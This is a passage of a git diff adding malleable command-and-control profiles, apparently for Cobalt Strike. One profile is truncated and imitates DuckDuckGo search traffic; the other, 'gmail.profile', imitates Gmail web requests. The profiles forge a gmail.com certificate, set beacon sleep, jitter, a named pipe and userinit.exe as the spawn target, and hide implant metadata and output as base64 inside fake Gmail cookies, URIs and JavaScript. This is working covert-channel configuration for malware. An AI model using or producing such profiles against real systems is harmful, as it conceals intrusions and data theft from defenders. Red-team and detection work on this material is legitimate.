"; +append ""; +print; +} +} +} + +http-post { + + set uri "/Search/"; + set verb "GET"; + + client { + + header "Host" "duckduckgo.com"; +header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"; +header "Cookie" "ax=v176-5"; + + output { + base64url; + parameter "p"; + } + + parameter "qs" "ramen"; +parameter "t" "h_"; +parameter "ia" "web"; + + id { + base64url; + parameter "form"; + } + } + + server { + + header "Cache-Control" "private, max-age=0"; + header "Content-Type" "text/html; charset=utf-8"; + header "Vary" "Accept-Encoding"; + header "Server" "Microsoft-IIS/8.5"; + header "Connection" "close"; + + + output { + netbios; + prepend "ramen at DuckDuckGoIgnore this box please.
"; + append ""; + print; + } + } +} + +http-stager { +server { +header "Cache-Control" "no-cache"; +header "Content-Type" "text/html; charset=UTF-8"; +header "Vary" "Accept-Encoding"; +header "Server" "Apache-Coyote/1.1"; +header "Connection" "close"; +} +} \ No newline at end of file diff --git a/profiles/gmail.profile b/profiles/gmail.profile new file mode 100644 index 0000000..796bb93 --- /dev/null +++ b/profiles/gmail.profile @@ -0,0 +1,108 @@ +# Make requests look like GMail web requests +# +# Author: @ChrisTruncer + +https-certificate { + set CN "gmail.com"; + set O "Google GMail"; + set C "US"; + set L "Mountain View"; + set OU "Google Mail"; + set ST "CA"; + set validity "365"; +} + +set sleeptime "60000"; +set pipename "interprocess_##"; +set spawnto "userinit.exe"; +set jitter "15"; +set dns_idle "8.8.4.4"; + +http-get { + set uri "/_/scs/mail-static/_/js/"; + client { + + metadata { + base64; + prepend "OSID="; + header "Cookie"; + } + + header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + header "Accept-Language" "en-US,en;q=0.5"; + header "Accept-Encoding" "gzip, deflate"; + header "DNT" "1"; + } + + server { + header "X-Content-Type-Options" "nosniff"; + header "X-Frame-Options" "SAMEORIGIN"; + header "Cache-Control" "public, max-age=31536000"; + header "X-XSS-Protection" "1; mode=block"; + header "Server" "GSE"; + header "Alternate-Protocol" "443:quic,p=1"; + + output{ + prepend "try("; + prepend "O(L.Oa(),\"sy580\")"; + prepend "N(L.Oa(),\"sy580\");P(L.Oa(),\"sy580\");"; + prepend ")catch(e)(_DumpException(e))"; + prepend "try("; + prepend "O(L.Oa(),\"sy558\");"; + prepend "N(L.Oa(),\"sy558\");P(L.Oa(),\"sy558\");"; + prepend ")catch(e)(_DumpException(e))"; + prepend "try("; + + append "var f2=function(a)(a=a.wa;return\"application/chromium-bookmark-folder\"==a||\"application/chromium-root-folder\"==a||\"application/vnd.google-apps.folder\"==a||\"application/vnd.google-apps.photoalbum\"==a||\"application/vnd.google-apps.rollupphotoalbum\"==a)"; + append ",g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case \"all\":case \"docs-images\":case \"docs-images-and-videos\":case \"docs-videos\":case \"documents\":case \"drawings\":case \"folders\":case \"forms\":case \"pdfs\":case \"presentations\":case \"sites\":case \"spreadsheets\":case \"tables\":return!0)return!1); O(L.Oa(),\"sy588\")"; + + print; + + } + } +} + +http-post { + set uri "/mail/u/0/"; + client { + parameter "ui" "d3244c4707"; + parameter "hop" "6928632"; + parameter "start" "0"; + header "Content-Type" "application/x-www-form-urlencoded;charset=utf-8"; + + id { + base64; + prepend "OSID="; + header "Cookie"; + } + + output{ + base64; + print; + } + } + + server { + header "X-Content-Type-Options" "nosniff"; + header "X-Frame-Options" "SAMEORIGIN"; + header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate"; + header "X-XSS-Protection" "1; mode=block"; + header "Server" "GSE"; + + output { + + prepend "[[[\"apm\",\""; + + append "\"]"; + append ",[\"ci\",[]"; + append "]"; + append ",[\"cm\",[]"; + append ",[]"; + append "]"; + append "],'dbb8796a80d45e1f']"; + base64; + print; + } + + } +} \ No newline at end of file